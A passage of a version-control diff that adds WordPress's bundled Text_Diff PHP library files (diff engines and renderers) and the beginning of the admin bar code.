+        if (is_null($diff)) {
+            // No changes were made
+            return array(new Text_Diff_Op_copy($from_lines));
+        }
+
+        $from_line_no = 1;
+        $to_line_no = 1;
+        $edits = array();
+
+        // Get changed lines by parsing something like:
+        // 0a1,2
+        // 1,2c4,6
+        // 1,5d6
+        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
+            $matches, PREG_SET_ORDER);
+
+        foreach ($matches as $match) {
+            if (!isset($match[5])) {
+                // This paren is not set every time (see regex).
+                $match[5] = false;
+            }
+
+            if ($match[3] == 'a') {
+                $from_line_no--;
+            }
+
+            if ($match[3] == 'd') {
+                $to_line_no--;
+            }
+
+            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
+                // copied lines
+                assert('$match[1] - $from_line_no == $match[4] - $to_line_no');
+                array_push($edits,
+                    new Text_Diff_Op_copy(
+                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
+                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
+            }
+
+            switch ($match[3]) {
+            case 'd':
+                // deleted lines
+                array_push($edits,
+                    new Text_Diff_Op_delete(
+                        $this->_getLines($from_lines, $from_line_no, $match[2])));
+                $to_line_no++;
+                break;
+
+            case 'c':
+                // changed lines
+                array_push($edits,
+                    new Text_Diff_Op_change(
+                        $this->_getLines($from_lines, $from_line_no, $match[2]),
+                        $this->_getLines($to_lines, $to_line_no, $match[5])));
+                break;
+
+            case 'a':
+                // added lines
+                array_push($edits,
+                    new Text_Diff_Op_add(
+                        $this->_getLines($to_lines, $to_line_no, $match[5])));
+                $from_line_no++;
+                break;
+            }
+        }
+
+        if (!empty($from_lines)) {
+            // Some lines might still be pending. Add them as copied
+            array_push($edits,
+                new Text_Diff_Op_copy(
+                    $this->_getLines($from_lines, $from_line_no,
+                                     $from_line_no + count($from_lines) - 1),
+                    $this->_getLines($to_lines, $to_line_no,
+                                     $to_line_no + count($to_lines) - 1)));
+        }
+
+        return $edits;
+    }
+
+    /**
+     * Get lines from either the old or new text
+     *
+     * @access private
+     *
+     * @param array &$text_lines Either $from_lines or $to_lines
+     * @param int   &$line_no    Current line number
+     * @param int   $end         Optional end line, when we want to chop more
+     *                           than one line.
+     *
+     * @return array The chopped lines
+     */
+    function _getLines(&$text_lines, &$line_no, $end = false)
+    {
+        if (!empty($end)) {
+            $lines = array();
+            // We can shift even more
+            while ($line_no <= $end) {
+                array_push($lines, array_shift($text_lines));
+                $line_no++;
+            }
+        } else {
+            $lines = array(array_shift($text_lines));
+            $line_no++;
+        }
+
+        return $lines;
+    }
+
+}
Index: /tags/4.1.6/src/wp-includes/Text/Diff/Engine/string.php
===================================================================
--- /tags/4.1.6/src/wp-includes/Text/Diff/Engine/string.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/Text/Diff/Engine/string.php	(revision 33402)
@@ -0,0 +1,248 @@
+<?php
+/**
+ * Parses unified or context diffs output from eg. the diff utility.
+ *
+ * Example:
+ * <code>
+ * $patch = file_get_contents('example.patch');
+ * $diff = new Text_Diff('string', array($patch));
+ * $renderer = new Text_Diff_Renderer_inline();
+ * echo $renderer->render($diff);
+ * </code>
+ *
+ * Copyright 2005 Örjan Persson <o@42mm.org>
+ * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you did
+ * not receive this file, see http://opensource.org/licenses/lgpl-license.php.
+ *
+ * @author  Örjan Persson <o@42mm.org>
+ * @package Text_Diff
+ * @since   0.2.0
+ */
+class Text_Diff_Engine_string {
+
+    /**
+     * Parses a unified or context diff.
+     *
+     * First param contains the whole diff and the second can be used to force
+     * a specific diff type. If the second parameter is 'autodetect', the
+     * diff will be examined to find out which type of diff this is.
+     *
+     * @param string $diff  The diff content.
+     * @param string $mode  The diff mode of the content in $diff. One of
+     *                      'context', 'unified', or 'autodetect'.
+     *
+     * @return array  List of all diff operations.
+     */
+    function diff($diff, $mode = 'autodetect')
+    {
+        // Detect line breaks.
+        $lnbr = "\n";
+        if (strpos($diff, "\r\n") !== false) {
+            $lnbr = "\r\n";
+        } elseif (strpos($diff, "\r") !== false) {
+            $lnbr = "\r";
+        }
+
+        // Make sure we have a line break at the EOF.
+        if (substr($diff, -strlen($lnbr)) != $lnbr) {
+            $diff .= $lnbr;
+        }
+
+        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
+            return PEAR::raiseError('Type of diff is unsupported');
+        }
+
+        if ($mode == 'autodetect') {
+            $context = strpos($diff, '***');
+            $unified = strpos($diff, '---');
+            if ($context === $unified) {
+                return PEAR::raiseError('Type of diff could not be detected');
+            } elseif ($context === false || $unified === false) {
+                $mode = $context !== false ? 'context' : 'unified';
+            } else {
+                $mode = $context < $unified ? 'context' : 'unified';
+            }
+        }
+
+        // Split by new line and remove the diff header, if there is one.
+        $diff = explode($lnbr, $diff);
+        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
+            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
+            array_shift($diff);
+            array_shift($diff);
+        }
+
+        if ($mode == 'context') {
+            return $this->parseContextDiff($diff);
+        } else {
+            return $this->parseUnifiedDiff($diff);
+        }
+    }
+
+    /**
+     * Parses an array containing the unified diff.
+     *
+     * @param array $diff  Array of lines.
+     *
+     * @return array  List of all diff operations.
+     */
+    function parseUnifiedDiff($diff)
+    {
+        $edits = array();
+        $end = count($diff) - 1;
+        for ($i = 0; $i < $end;) {
+            $diff1 = array();
+            switch (substr($diff[$i], 0, 1)) {
+            case ' ':
+                do {
+                    $diff1[] = substr($diff[$i], 1);
+                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
+                $edits[] = new Text_Diff_Op_copy($diff1);
+                break;
+
+            case '+':
+                // get all new lines
+                do {
+                    $diff1[] = substr($diff[$i], 1);
+                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
+                $edits[] = new Text_Diff_Op_add($diff1);
+                break;
+
+            case '-':
+                // get changed or removed lines
+                $diff2 = array();
+                do {
+                    $diff1[] = substr($diff[$i], 1);
+                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');
+
+                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
+                    $diff2[] = substr($diff[$i++], 1);
+                }
+                if (count($diff2) == 0) {
+                    $edits[] = new Text_Diff_Op_delete($diff1);
+                } else {
+                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
+                }
+                break;
+
+            default:
+                $i++;
+                break;
+            }
+        }
+
+        return $edits;
+    }
+
+    /**
+     * Parses an array containing the context diff.
+     *
+     * @param array $diff  Array of lines.
+     *
+     * @return array  List of all diff operations.
+     */
+    function parseContextDiff(&$diff)
+    {
+        $edits = array();
+        $i = $max_i = $j = $max_j = 0;
+        $end = count($diff) - 1;
+        while ($i < $end && $j < $end) {
+            while ($i >= $max_i && $j >= $max_j) {
+                // Find the boundaries of the diff output of the two files
+                for ($i = $j;
+                     $i < $end && substr($diff[$i], 0, 3) == '***';
+                     $i++);
+                for ($max_i = $i;
+                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
+                     $max_i++);
+                for ($j = $max_i;
+                     $j < $end && substr($diff[$j], 0, 3) == '---';
+                     $j++);
+                for ($max_j = $j;
+                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
+                     $max_j++);
+            }
+
+            // find what hasn't been changed
+            $array = array();
+            while ($i < $max_i &&
+                   $j < $max_j &&
+                   strcmp($diff[$i], $diff[$j]) == 0) {
+                $array[] = substr($diff[$i], 2);
+                $i++;
+                $j++;
+            }
+
+            while ($i < $max_i && ($max_j-$j) <= 1) {
+                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
+                    break;
+                }
+                $array[] = substr($diff[$i++], 2);
+            }
+
+            while ($j < $max_j && ($max_i-$i) <= 1) {
+                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
+                    break;
+                }
+                $array[] = substr($diff[$j++], 2);
+            }
+            if (count($array) > 0) {
+                $edits[] = new Text_Diff_Op_copy($array);
+            }
+
+            if ($i < $max_i) {
+                $diff1 = array();
+                switch (substr($diff[$i], 0, 1)) {
+                case '!':
+                    $diff2 = array();
+                    do {
+                        $diff1[] = substr($diff[$i], 2);
+                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
+                            $diff2[] = substr($diff[$j++], 2);
+                        }
+                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
+                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
+                    break;
+
+                case '+':
+                    do {
+                        $diff1[] = substr($diff[$i], 2);
+                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
+                    $edits[] = new Text_Diff_Op_add($diff1);
+                    break;
+
+                case '-':
+                    do {
+                        $diff1[] = substr($diff[$i], 2);
+                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
+                    $edits[] = new Text_Diff_Op_delete($diff1);
+                    break;
+                }
+            }
+
+            if ($j < $max_j) {
+                $diff2 = array();
+                switch (substr($diff[$j], 0, 1)) {
+                case '+':
+                    do {
+                        $diff2[] = substr($diff[$j++], 2);
+                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
+                    $edits[] = new Text_Diff_Op_add($diff2);
+                    break;
+
+                case '-':
+                    do {
+                        $diff2[] = substr($diff[$j++], 2);
+                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
+                    $edits[] = new Text_Diff_Op_delete($diff2);
+                    break;
+                }
+            }
+        }
+
+        return $edits;
+    }
+
+}
Index: /tags/4.1.6/src/wp-includes/Text/Diff/Engine/xdiff.php
===================================================================
--- /tags/4.1.6/src/wp-includes/Text/Diff/Engine/xdiff.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/Text/Diff/Engine/xdiff.php	(revision 33402)
@@ -0,0 +1,64 @@
+<?php
+/**
+ * Class used internally by Diff to actually compute the diffs.
+ *
+ * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
+ * to compute the differences between the two input arrays.
+ *
+ * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you did
+ * not receive this file, see http://opensource.org/licenses/lgpl-license.php.
+ *
+ * @author  Jon Parise <jon@horde.org>
+ * @package Text_Diff
+ */
+class Text_Diff_Engine_xdiff {
+
+    /**
+     */
+    function diff($from_lines, $to_lines)
+    {
+        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
+        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));
+
+        /* Convert the two input arrays into strings for xdiff processing. */
+        $from_string = implode("\n", $from_lines);
+        $to_string = implode("\n", $to_lines);
+
+        /* Diff the two strings and convert the result to an array. */
+        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
+        $diff = explode("\n", $diff);
+
+        /* Walk through the diff one line at a time.  We build the $edits
+         * array of diff operations by reading the first character of the
+         * xdiff output (which is in the "unified diff" format).
+         *
+         * Note that we don't have enough information to detect "changed"
+         * lines using this approach, so we can't add Text_Diff_Op_changed
+         * instances to the $edits array.  The result is still perfectly
+         * valid, albeit a little less descriptive and efficient. */
+        $edits = array();
+        foreach ($diff as $line) {
+            if (!strlen($line)) {
+                continue;
+            }
+            switch ($line[0]) {
+            case ' ':
+                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
+                break;
+
+            case '+':
+                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
+                break;
+
+            case '-':
+                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
+                break;
+            }
+        }
+
+        return $edits;
+    }
+
+}
Index: /tags/4.1.6/src/wp-includes/Text/Diff/Renderer.php
===================================================================
--- /tags/4.1.6/src/wp-includes/Text/Diff/Renderer.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/Text/Diff/Renderer.php	(revision 33402)
@@ -0,0 +1,235 @@
+<?php
+/**
+ * A class to render Diffs in different formats.
+ *
+ * This class renders the diff in classic diff format. It is intended that
+ * this class be customized via inheritance, to obtain fancier outputs.
+ *
+ * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you did
+ * not receive this file, see http://opensource.org/licenses/lgpl-license.php.
+ *
+ * @package Text_Diff
+ */
+class Text_Diff_Renderer {
+
+    /**
+     * Number of leading context "lines" to preserve.
+     *
+     * This should be left at zero for this class, but subclasses may want to
+     * set this to other values.
+     */
+    var $_leading_context_lines = 0;
+
+    /**
+     * Number of trailing context "lines" to preserve.
+     *
+     * This should be left at zero for this class, but subclasses may want to
+     * set this to other values.
+     */
+    var $_trailing_context_lines = 0;
+
+    /**
+     * Constructor.
+     */
+    function Text_Diff_Renderer($params = array())
+    {
+        foreach ($params as $param => $value) {
+            $v = '_' . $param;
+            if (isset($this->$v)) {
+                $this->$v = $value;
+            }
+        }
+    }
+
+    /**
+     * Get any renderer parameters.
+     *
+     * @return array  All parameters of this renderer object.
+     */
+    function getParams()
+    {
+        $params = array();
+        foreach (get_object_vars($this) as $k => $v) {
+            if ($k[0] == '_') {
+                $params[substr($k, 1)] = $v;
+            }
+        }
+
+        return $params;
+    }
+
+    /**
+     * Renders a diff.
+     *
+     * @param Text_Diff $diff  A Text_Diff object.
+     *
+     * @return string  The formatted output.
+     */
+    function render($diff)
+    {
+        $xi = $yi = 1;
+        $block = false;
+        $context = array();
+
+        $nlead = $this->_leading_context_lines;
+        $ntrail = $this->_trailing_context_lines;
+
+        $output = $this->_startDiff();
+
+        $diffs = $diff->getDiff();
+        foreach ($diffs as $i => $edit) {
+            /* If these are unchanged (copied) lines, and we want to keep
+             * leading or trailing context lines, extract them from the copy
+             * block. */
+            if (is_a($edit, 'Text_Diff_Op_copy')) {
+                /* Do we have any diff blocks yet? */
+                if (is_array($block)) {
+                    /* How many lines to keep as context from the copy
+                     * block. */
+                    $keep = $i == count($diffs) - 1 ? $ntrail : $nlead + $ntrail;
+                    if (count($edit->orig) <= $keep) {
+                        /* We have less lines in the block than we want for
+                         * context => keep the whole block. */
+                        $block[] = $edit;
+                    } else {
+                        if ($ntrail) {
+                            /* Create a new block with as many lines as we need
+                             * for the trailing context. */
+                            $context = array_slice($edit->orig, 0, $ntrail);
+                            $block[] = new Text_Diff_Op_copy($context);
+                        }
+                        /* @todo */
+                        $output .= $this->_block($x0, $ntrail + $xi - $x0,
+                                                 $y0, $ntrail + $yi - $y0,
+                                                 $block);
+                        $block = false;
+                    }
+                }
+                /* Keep the copy block as the context for the next block. */
+                $context = $edit->orig;
+            } else {
+                /* Don't we have any diff blocks yet? */
+                if (!is_array($block)) {
+                    /* Extract context lines from the preceding copy block. */
+                    $context = array_slice($context, count($context) - $nlead);
+                    $x0 = $xi - count($context);
+                    $y0 = $yi - count($context);
+                    $block = array();
+                    if ($context) {
+                        $block[] = new Text_Diff_Op_copy($context);
+                    }
+                }
+                $block[] = $edit;
+            }
+
+            if ($edit->orig) {
+                $xi += count($edit->orig);
+            }
+            if ($edit->final) {
+                $yi += count($edit->final);
+            }
+        }
+
+        if (is_array($block)) {
+            $output .= $this->_block($x0, $xi - $x0,
+                                     $y0, $yi - $y0,
+                                     $block);
+        }
+
+        return $output . $this->_endDiff();
+    }
+
+    function _block($xbeg, $xlen, $ybeg, $ylen, &$edits)
+    {
+        $output = $this->_startBlock($this->_blockHeader($xbeg, $xlen, $ybeg, $ylen));
+
+        foreach ($edits as $edit) {
+            switch (strtolower(get_class($edit))) {
+            case 'text_diff_op_copy':
+                $output .= $this->_context($edit->orig);
+                break;
+
+            case 'text_diff_op_add':
+                $output .= $this->_added($edit->final);
+                break;
+
+            case 'text_diff_op_delete':
+                $output .= $this->_deleted($edit->orig);
+                break;
+
+            case 'text_diff_op_change':
+                $output .= $this->_changed($edit->orig, $edit->final);
+                break;
+            }
+        }
+
+        return $output . $this->_endBlock();
+    }
+
+    function _startDiff()
+    {
+        return '';
+    }
+
+    function _endDiff()
+    {
+        return '';
+    }
+
+    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
+    {
+        if ($xlen > 1) {
+            $xbeg .= ',' . ($xbeg + $xlen - 1);
+        }
+        if ($ylen > 1) {
+            $ybeg .= ',' . ($ybeg + $ylen - 1);
+        }
+
+        // this matches the GNU Diff behaviour
+        if ($xlen && !$ylen) {
+            $ybeg--;
+        } elseif (!$xlen) {
+            $xbeg--;
+        }
+
+        return $xbeg . ($xlen ? ($ylen ? 'c' : 'd') : 'a') . $ybeg;
+    }
+
+    function _startBlock($header)
+    {
+        return $header . "\n";
+    }
+
+    function _endBlock()
+    {
+        return '';
+    }
+
+    function _lines($lines, $prefix = ' ')
+    {
+        return $prefix . implode("\n$prefix", $lines) . "\n";
+    }
+
+    function _context($lines)
+    {
+        return $this->_lines($lines, '  ');
+    }
+
+    function _added($lines)
+    {
+        return $this->_lines($lines, '> ');
+    }
+
+    function _deleted($lines)
+    {
+        return $this->_lines($lines, '< ');
+    }
+
+    function _changed($orig, $final)
+    {
+        return $this->_deleted($orig) . "---\n" . $this->_added($final);
+    }
+
+}
Index: /tags/4.1.6/src/wp-includes/Text/Diff/Renderer/inline.php
===================================================================
--- /tags/4.1.6/src/wp-includes/Text/Diff/Renderer/inline.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/Text/Diff/Renderer/inline.php	(revision 33402)
@@ -0,0 +1,206 @@
+<?php
+/**
+ * "Inline" diff renderer.
+ *
+ * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you did
+ * not receive this file, see http://opensource.org/licenses/lgpl-license.php.
+ *
+ * @author  Ciprian Popovici
+ * @package Text_Diff
+ */
+
+/** Text_Diff_Renderer */
+
+// WP #7391
+require_once dirname(dirname(__FILE__)) . '/Renderer.php';
+
+/**
+ * "Inline" diff renderer.
+ *
+ * This class renders diffs in the Wiki-style "inline" format.
+ *
+ * @author  Ciprian Popovici
+ * @package Text_Diff
+ */
+class Text_Diff_Renderer_inline extends Text_Diff_Renderer {
+
+    /**
+     * Number of leading context "lines" to preserve.
+     *
+     * @var integer
+     */
+    var $_leading_context_lines = 10000;
+
+    /**
+     * Number of trailing context "lines" to preserve.
+     *
+     * @var integer
+     */
+    var $_trailing_context_lines = 10000;
+
+    /**
+     * Prefix for inserted text.
+     *
+     * @var string
+     */
+    var $_ins_prefix = '<ins>';
+
+    /**
+     * Suffix for inserted text.
+     *
+     * @var string
+     */
+    var $_ins_suffix = '</ins>';
+
+    /**
+     * Prefix for deleted text.
+     *
+     * @var string
+     */
+    var $_del_prefix = '<del>';
+
+    /**
+     * Suffix for deleted text.
+     *
+     * @var string
+     */
+    var $_del_suffix = '</del>';
+
+    /**
+     * Header for each change block.
+     *
+     * @var string
+     */
+    var $_block_header = '';
+
+    /**
+     * Whether to split down to character-level.
+     *
+     * @var boolean
+     */
+    var $_split_characters = false;
+
+    /**
+     * What are we currently splitting on? Used to recurse to show word-level
+     * or character-level changes.
+     *
+     * @var string
+     */
+    var $_split_level = 'lines';
+
+    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
+    {
+        return $this->_block_header;
+    }
+
+    function _startBlock($header)
+    {
+        return $header;
+    }
+
+    function _lines($lines, $prefix = ' ', $encode = true)
+    {
+        if ($encode) {
+            array_walk($lines, array(&$this, '_encode'));
+        }
+
+        if ($this->_split_level == 'lines') {
+            return implode("\n", $lines) . "\n";
+        } else {
+            return implode('', $lines);
+        }
+    }
+
+    function _added($lines)
+    {
+        array_walk($lines, array(&$this, '_encode'));
+        $lines[0] = $this->_ins_prefix . $lines[0];
+        $lines[count($lines) - 1] .= $this->_ins_suffix;
+        return $this->_lines($lines, ' ', false);
+    }
+
+    function _deleted($lines, $words = false)
+    {
+        array_walk($lines, array(&$this, '_encode'));
+        $lines[0] = $this->_del_prefix . $lines[0];
+        $lines[count($lines) - 1] .= $this->_del_suffix;
+        return $this->_lines($lines, ' ', false);
+    }
+
+    function _changed($orig, $final)
+    {
+        /* If we've already split on characters, just display. */
+        if ($this->_split_level == 'characters') {
+            return $this->_deleted($orig)
+                . $this->_added($final);
+        }
+
+        /* If we've already split on words, just display. */
+        if ($this->_split_level == 'words') {
+            $prefix = '';
+            while ($orig[0] !== false && $final[0] !== false &&
+                   substr($orig[0], 0, 1) == ' ' &&
+                   substr($final[0], 0, 1) == ' ') {
+                $prefix .= substr($orig[0], 0, 1);
+                $orig[0] = substr($orig[0], 1);
+                $final[0] = substr($final[0], 1);
+            }
+            return $prefix . $this->_deleted($orig) . $this->_added($final);
+        }
+
+        $text1 = implode("\n", $orig);
+        $text2 = implode("\n", $final);
+
+        /* Non-printing newline marker. */
+        $nl = "\0";
+
+        if ($this->_split_characters) {
+            $diff = new Text_Diff('native',
+                                  array(preg_split('//', $text1),
+                                        preg_split('//', $text2)));
+        } else {
+            /* We want to split on word boundaries, but we need to preserve
+             * whitespace as well. Therefore we split on words, but include
+             * all blocks of whitespace in the wordlist. */
+            $diff = new Text_Diff('native',
+                                  array($this->_splitOnWords($text1, $nl),
+                                        $this->_splitOnWords($text2, $nl)));
+        }
+
+        /* Get the diff in inline format. */
+        $renderer = new Text_Diff_Renderer_inline
+            (array_merge($this->getParams(),
+                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));
+
+        /* Run the diff and get the output. */
+        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
+    }
+
+    function _splitOnWords($string, $newlineEscape = "\n")
+    {
+        // Ignore \0; otherwise the while loop will never finish.
+        $string = str_replace("\0", '', $string);
+
+        $words = array();
+        $length = strlen($string);
+        $pos = 0;
+
+        while ($pos < $length) {
+            // Eat a word with any preceding whitespace.
+            $spaces = strspn(substr($string, $pos), " \n");
+            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
+            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
+            $pos += $spaces + $nextpos;
+        }
+
+        return $words;
+    }
+
+    function _encode(&$string)
+    {
+        $string = htmlspecialchars($string);
+    }
+
+}
Index: /tags/4.1.6/src/wp-includes/admin-bar.php
===================================================================
--- /tags/4.1.6/src/wp-includes/admin-bar.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/admin-bar.php	(revision 33402)
@@ -0,0 +1,920 @@
+<?php
+/**
+ * Admin Bar
+ *
+ * This code handles the building and rendering of the press bar.
+ */
+
+/**
+ * Instantiate the admin bar object and set it up as a global for access elsewhere.
+ *
+ * UNHOOKING THIS FUNCTION WILL NOT PROPERLY REMOVE THE ADMIN BAR.
+ * For that, use show_admin_bar(false) or the 'show_admin_bar' filter.
+ *
+ * @since 3.1.0
+ * @access private
+ * @return bool Whether the admin bar was successfully initialized.
+ */
+function _wp_admin_bar_init() {
+	global $wp_admin_bar;
+
+	if ( ! is_admin_bar_showing() )
+		return false;
+
+	/* Load the admin bar class code ready for instantiation */
+	require( ABSPATH . WPINC . '/class-wp-admin-bar.php' );
+
+	/* Instantiate the admin bar */
+
+	/**
+	 * Filter the admin bar class to instantiate.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $wp_admin_bar_class Admin bar class to use. Default 'WP_Admin_Bar'.
+	 */
+	$admin_bar_class = apply_filters( 'wp_admin_bar_class', 'WP_Admin_Bar' );
+	if ( class_exists( $admin_bar_class ) )
+		$wp_admin_bar = new $admin_bar_class;
+	else
+		return false;
+
+	$wp_admin_bar->initialize();
+	$wp_admin_bar->add_menus();
+
+	return true;
+}
+// Don't remove. Wrong way to disable.
+add_action( 'template_redirect', '_wp_admin_bar_init', 0 );
+add_action( 'admin_init', '_wp_admin_bar_init' );
+
+/**
+ * Render the admin bar to the page based on the $wp_admin_bar->menu member var.
+ * This is called very late on the footer actions so that it will render after anything else being
+ * added to the footer.
+ *
+ * It includes the action "admin_bar_menu" which should be used to hook in and
+ * add new menus to the admin bar. That way you can be sure that you are adding at most optimal point,
+ * right before the admin bar is rendered. This also gives you access to the $post global, among others.
+ *
+ * @since 3.1.0
+ */
+function wp_admin_bar_render() {
+	global $wp_admin_bar;
+
+	if ( ! is_admin_bar_showing() || ! is_object( $wp_admin_bar ) )
+		return false;
+
+	/**
+	 * Load all necessary admin bar items.
+	 *
+	 * This is the hook used to add, remove, or manipulate admin bar items.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param WP_Admin_Bar $wp_admin_bar WP_Admin_Bar instance, passed by reference
+	 */
+	do_action_ref_array( 'admin_bar_menu', array( &$wp_admin_bar ) );
+
+	/**
+	 * Fires before the admin bar is rendered.
+	 *
+	 * @since 3.1.0
+	 */
+	do_action( 'wp_before_admin_bar_render' );
+
+	$wp_admin_bar->render();
+
+	/**
+	 * Fires after the admin bar is rendered.
+	 *
+	 * @since 3.1.0
+	 */
+	do_action( 'wp_after_admin_bar_render' );
+}
+add_action( 'wp_footer', 'wp_admin_bar_render', 1000 );
+add_action( 'in_admin_header', 'wp_admin_bar_render', 0 );
+
+/**
+ * Add the WordPress logo menu.
+ *
+ * @since 3.3.0
+ *
+ * @param WP_Admin_Bar $wp_admin_bar
+ */
+function wp_admin_bar_wp_menu( $wp_admin_bar ) {
+	$wp_admin_bar->add_menu( array(
+		'id'    => 'wp-logo',
+		'title' => '<span class="ab-icon"></span>',
+		'href'  => self_admin_url( 'about.php' ),
+		'meta'  => array(
+			'title' => __('About WordPress'),
+		),
+	) );
+
+	if ( is_user_logged_in() ) {
+		// Add "About WordPress" link
+		$wp_admin_bar->add_menu( array(
+			'parent' => 'wp-logo',
+			'id'     => 'about',
+			'title'  => __('About WordPress'),
+			'href'  => self_admin_url( 'about.php' ),
+		) );
+	}
+
+	// Add WordPress.org link
+	$wp_admin_bar->add_menu( array(
+		'parent'    => 'wp-logo-external',
+		'id'        => 'wporg',
+		'title'     => __('WordPress.org'),
+		'href'      => __('https://wordpress.org/'),
+	) );
+
+	// Add codex link
+	$wp_admin_bar->add_menu( array(
+		'parent'    => 'wp-logo-external',
+		'id'        => 'documentation',
+		'title'     => __('Documentation'),
+		'href'      => __('http://codex.wordpress.org/'),
+	) );
+
+	// Add forums link
+	$wp_admin_bar->add_menu( array(
+		'parent'    => 'wp-logo-external',
+		'id'        => 'support-forums',
+		'title'     => __('Support Forums'),
+		'href'      => __('https://wordpress.org/support/'),
+	) );
+
+	// Add feedback link
+	$wp_admin_bar->add_menu( array(
+		'parent'    => 'wp-logo-external',
+		'id'        => 'feedback',
+		'title'     => __('Feedback'),
+		'href'      => __('https://wordpress.org/support/forum/requests-and-feedback'),
+	) );
+}
+
+/**
+ * Add the sidebar toggle button.
+ *
+ * @since 3.8.0
+ *
+ * @param WP_Admin_Bar $wp_admin_bar
+ */
+function wp_admin_bar_sidebar_toggle( $wp_admin_bar ) {
+	if ( is_admin() ) {
+		$wp_admin_bar->add_menu( array(
+			'id'    => 'menu-toggle',
+			'title' => '<span class="ab-icon"></span><span class="screen-reader-text">' . __( 'Menu' ) . '</span>',
+			'href'  => '#',
+		) );
+	}
+}
+
+/**
+ * Add the "My Account" item.
+ *
+ * @since 3.3.0
+ *
+ * @param WP_Admin_Bar $wp_admin_bar
+ */
+function wp_admin_bar_my_account_item( $wp_admin_bar ) {
+	$user_id      = get_current_user_id();
+	$current_user = wp_get_current_user();
+	$profile_url  = get_edit_profile_url( $user_id );
+
+	if ( ! $user_id )
+		return;
+
+	$avatar = get_avatar( $user_id, 26 );
+	$howdy  = sprintf( __('Howdy, %1$s'), $current_user->display_name );
+	$class  = empty( $avatar ) ? '' : 'with-avatar';
+
+	$wp_admin_bar->add_menu( array(
+		'id'        => 'my-account',
+		'parent'    => 'top-secondary',
+		'title'     => $howdy . $avatar,
+		'href'      => $profile_url,
+		'meta'      => array(
+			'class'     => $class,
+			'title'     => __('My Account'),
+		),
+	) );
+}
+
+/**
+ * Add the "My Account" submenu items.
+ *
+ * @since 3.1.0
+ *
+ * @param WP_Admin_Bar $wp_admin_bar
+ */
+function wp_admin_bar_my_account_menu( $wp_admin_bar ) {
+	$user_id      = get_current_user_id();
+	$current_user = wp_get_current_user();
+	$profile_url  = get_edit_profile_url( $user_id );
+
+	if ( ! $user_id )
+		return;
+
+	$wp_admin_bar->add_group( array(
+		'parent' => 'my-account',
+		'id'     => 'user-actions',
+	) );
+
+	$user_info  = get_avatar( $user_id, 64 );
+	$user_info .= "<span class='display-name'>{$current_user->display_name}</span>";
+
+	if ( $current_user->display_name !== $current_user->user_login )
+		$user_info .= "<span class='username'>{$current_user->user_login}</span>";
+
+	$wp_admin_bar->add_menu( array(
+		'parent' => 'user-actions',
+		'id'     => 'user-info',
+		'title'  => $user_info,
+		'href'   => $profile_url,
+		'meta'   => array(
+			'tabindex' => -1,
+		),
+	) );
+	$wp_admin_bar->add_menu( array(
+		'parent' => 'user-actions',
+		'id'     => 'edit-profile',
+		'title'  => __( 'Edit My Profile' ),
+		'href' => $profile_url,
+	) );
+	$wp_admin_bar->add_menu( array(
+		'parent' => 'user-actions',
+		'id'     => 'logout',
+		'title'  => __( 'Log Out' ),
+		'href'   => wp_logout_url(),
+	) );
+}
+
+/**
+ * Add the "Site Name" menu.
+ *
+ * @since 3.3.0
+ *
+ * @param WP_Admin_Bar $wp_admin_bar
+ */
+function wp_admin_bar_site_menu( $wp_admin_bar ) {
+	// Don't show for logged out users.
+	if ( ! is_user_logged_in() )
+		return;
+
+	// Show only when the user is a member of this site, or they're a super admin.
+	if ( ! is_user_member_of_blog() && ! is_super_admin() )
+		return;
+
+	$blogname = get_bloginfo('name');
+
+	if ( ! $blogname ) {
+		$blogname = preg_replace( '#^(https?://)?(www.)?#', '', get_home_url() );
+	}
+
+	if ( is_network_admin() ) {
+		$blogname = sprintf( __('Network Admin: %s'), esc_html( get_current_site()->site_name ) );
